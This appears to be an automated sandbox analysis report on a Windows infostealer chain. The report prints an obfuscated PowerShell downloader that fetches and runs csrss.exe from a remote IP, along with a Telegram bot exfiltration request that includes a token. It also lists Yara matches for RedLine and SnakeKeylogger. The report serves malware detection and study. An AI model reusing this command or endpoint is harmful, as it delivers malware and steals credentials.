Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.228.22

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_046B7A18 URLDownloadToFileW,

3_2_046B7A18

Source: global traffic	HTTP traffic detected: GET /xml/ HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /54/csrss.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.227.228.22Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7653831104:AAGSRFQyeJurjKPP8kGFOQU_KT_ipaVGGFM/sendDocument?chat_id=6306897853&caption=user%20/%20Passwords%20/ HTTP/1.1Content-Type: multipart/form-data; boundary================8dd61a39278e6c1Host: api.telegram.orgContent-Length: 1076Connection: Keep-Alive

Source: powershell.exe, 00000003.00000002.1384687174.000000000507B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.227.228.22/54/csrss.e
Source: powershell.exe, 00000003.00000002.1384687174.000000000507B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.227.228.22/54/csrss.exe
Source: powershell.exe, 00000003.00000002.1410097716.000000000836C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.227.228.22/54/csrss.exem
Source: dajivhqI.pif, 00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: dajivhqI.pif, 00000010.00000002.2495714250.00000000289FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: dajivhqI.pif, 00000010.00000002.2495714250.00000000289F0000.00000004.00000800.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495714250.00000000289FC000.00000004.00000800.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: dajivhqI.pif, 00000010.00000002.2495714250.000000002897B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: dajivhqI.pif, 00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp, dajivhqI.pif, 00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: powershell.exe, 00000003.00000002.1410097716.000000000835B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000003.00000002.1394160409.0000000005BFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: dajivhqI.pif, 00000010.00000002.2495714250.0000000028A1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1384687174.0000000004B91000.00000004.00000800.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495714250.000000002897B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.1410097716.000000000836C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: csrss.exe, 0000000B.00000003.1355154988.0000000000887000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 0000000B.00000003.1352751659.000000007EBC0000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 0000000B.00000003.1352449792.000000007ED16000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 0000000B.00000002.1359633832.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 0000000B.00000003.1352751659.000000007EC06000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 0000000B.00000002.1376307203.0000000021499000.00000004.00001000.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000000.1355560716.0000000000416000.00000002.00000001.01000000.0000000A.sdmp, dajivhqI.pif.11.dr	String found in binary or memory: http://www.pmail.com
Source: powershell.exe, 00000003.00000002.1380237471.0000000002CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka..winsvr
Source: powershell.exe, 00000003.00000002.1384687174.0000000004B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: dajivhqI.pif, 00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: dajivhqI.pif, 00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: dajivhqI.pif, 00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp, dajivhqI.pif, 00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: dajivhqI.pif, 00000010.00000002.2495714250.0000000028AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7653831104:AAGSRFQyeJurjKPP8kGFOQU_KT_ipaVGGFM/sendDocument?chat_id=6306
Source: powershell.exe, 00000003.00000002.1394160409.0000000005BFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1394160409.0000000005BFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1394160409.0000000005BFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1410505100.00000000083A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000003.00000002.1394160409.0000000005BFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: dajivhqI.pif, 00000010.00000002.2495714250.00000000289FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: dajivhqI.pif, 00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp, dajivhqI.pif, 00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp, dajivhqI.pif, 00000010.00000002.2495714250.00000000289FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49719 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, UltraSpeed.cs

.Net Code: VKCodeToUnicode

Source: Yara match

File source: Process Memory Space: csrss.exe PID: 1812, type: MEMORYSTR

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"			Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 16.2.dajivhqI.pif.46b268.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.1.dajivhqI.pif.438038.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.2993e390.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.2993e390.7.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.csrss.exe.218d9ba8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.28551936.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.28551936.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.438038.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.29915570.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.29915570.9.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.287c0000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.287c0000.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.1.dajivhqI.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.1.dajivhqI.pif.438038.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.1.dajivhqI.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.28551936.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.28551936.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.287c0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.287c0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.28550a4e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.28550a4e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.1.dajivhqI.pif.46b268.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.2b4e0000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.2b4e0000.10.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.3.dajivhqI.pif.26abd218.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.3.dajivhqI.pif.26abd218.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.csrss.exe.218d9ba8.7.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.csrss.exe.2190cdd8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.29916458.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.29916458.8.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.29915570.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.29915570.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.28550a4e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.28550a4e.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.287c0ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.287c0ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.3.dajivhqI.pif.26abd218.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.3.dajivhqI.pif.26abd218.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.287c0ee8.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.287c0ee8.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.438038.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 16.2.dajivhqI.pif.2993e390.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.2993e390.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 16.2.dajivhqI.pif.29916458.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 16.2.dajivhqI.pif.29916458.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000010.00000002.2494926367.0000000028510000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000010.00000002.2475304362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000010.00000002.2497539381.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000010.00000001.1355929269.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000010.00000002.2495630239.00000000287C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000010.00000002.2497929209.000000002B4E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000010.00000003.1383089164.0000000026ABD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: dajivhqI.pif PID: 7196, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\csrss.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\csrss[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA421C GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	11_2_02EA421C
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA3380 NtWriteVirtualMemory,	11_2_02EA3380
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA3034 NtAllocateVirtualMemory,	11_2_02EA3034
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA9654 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	11_2_02EA9654
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA9738 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	11_2_02EA9738
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA95CC RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	11_2_02EA95CC
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA3B44 NtUnmapViewOfSection,	11_2_02EA3B44
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA38D4 NtReadVirtualMemory,	11_2_02EA38D4
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA421A GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	11_2_02EA421A
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA3032 NtAllocateVirtualMemory,	11_2_02EA3032
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA9578 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	11_2_02EA9578

Source: C:\Users\user\AppData\Roaming\csrss.exe

Code function: 11_2_02EAA634 InetIsOffline,Sleep,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

11_2_02EAA634

Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E920B4	11_2_02E920B4
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EB7187	11_2_02EB7187
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00408C60	16_2_00408C60
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_0040DC11	16_2_0040DC11
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00407C3F	16_2_00407C3F
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00418CCC	16_2_00418CCC
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00406CA0	16_2_00406CA0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_004028B0	16_2_004028B0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_0041A4BE	16_2_0041A4BE
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00418244	16_2_00418244
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00401650	16_2_00401650
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00402F20	16_2_00402F20
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_004193C4	16_2_004193C4
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00418788	16_2_00418788
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00402F89	16_2_00402F89
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_00402B90	16_2_00402B90
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_004073A0	16_2_004073A0
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_28691448	16_2_28691448
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_28691447	16_2_28691447
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_286911A8	16_2_286911A8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EB308	16_2_2B5EB308
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5E4730	16_2_2B5E4730
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EBE30	16_2_2B5EBE30
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5E6DE8	16_2_2B5E6DE8
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EFB57	16_2_2B5EFB57
Source: C:\Users\user\Links\dajivhqI.pif	Code function: 16_2_2B5EFB68	16_2_2B5EFB68
